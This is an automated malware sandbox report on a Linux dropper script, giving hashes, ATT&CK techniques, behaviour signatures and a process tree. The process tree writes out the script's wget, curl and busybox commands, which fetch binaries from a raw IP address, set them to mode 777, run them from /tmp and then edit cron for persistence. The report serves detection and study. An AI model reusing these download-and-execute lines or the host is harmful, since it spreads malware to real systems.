8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 19:56

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General

Target

QR71Y_bins.sh
Size

10KB
MD5

1af48b59e54a461d801c58a2e6f2853e
SHA1

d8ce0cc7e067bbcc17e7f02651135515cac789e0
SHA256

8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af
SHA512

984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab
SSDEEP

96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2145) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmod

pid process

1509 chmod
1516 chmod
1523 chmod

pid	process
1509	chmod
1516	chmod
1523	chmod

Executes dropped EXE 3 IoCs

Processes:

hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATNh8thNalBVsVsZGzxShbyd3BrADft88FHF5qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

ioc	pid	process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	1510	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	1517	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	1524	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Renames itself 1 IoCs

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

pid process

1525 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.sQ8rdZ crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1525	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.sQ8rdZ	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	process
File opened for reading	/proc/1/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1749/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1592/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1706/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1722/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1733/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1760/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/173/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1305/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1582/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1628/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1700/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1730/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1802/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/83/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1640/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1681/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1712/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1718/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/425/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1049/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1672/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/28/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1668/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1694/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1754/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1539/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1554/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1691/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1763/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/79/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1732/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/9/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1253/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1535/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1569/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1677/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1737/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1750/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/27/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1620/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1630/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1769/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/11/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/20/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1043/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1603/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1785/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1482/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1600/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1658/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/722/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1321/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1553/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1580/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1564/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1626/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1757/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1768/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1570/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1624/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1780/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/468/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1716/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxcurlbusyboxwgetwgetcurlbusyboxwget

description	ioc	process
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget

/tmp/QR71Y_bins.sh
/tmp/QR71Y_bins.sh
1⤵
PID:1489
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1494
- /usr/bin/wget
  wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1495
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:1517
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1524
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1526
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1527
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1528
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1529
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:1534

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.sQ8rdZ

Filesize
210B

MD5
eacdb5a7033a9cea38bd0dae7e46257b

SHA1
951d74ba784a06ef1caa66ddf8e3571d8bc67ade

SHA256
8783001d3c8d5ac712742669aa37857accd9ba3c69818c70dc90e523efaeb9cf

SHA512
27afd913752114702e5784a9630f0fcaf0676d8d0cabf7ccf38b2569ac417223c0fd8dd4ceaaea9aad717db240533f432185ae17784ebc561e0491d373053e20

Download Submit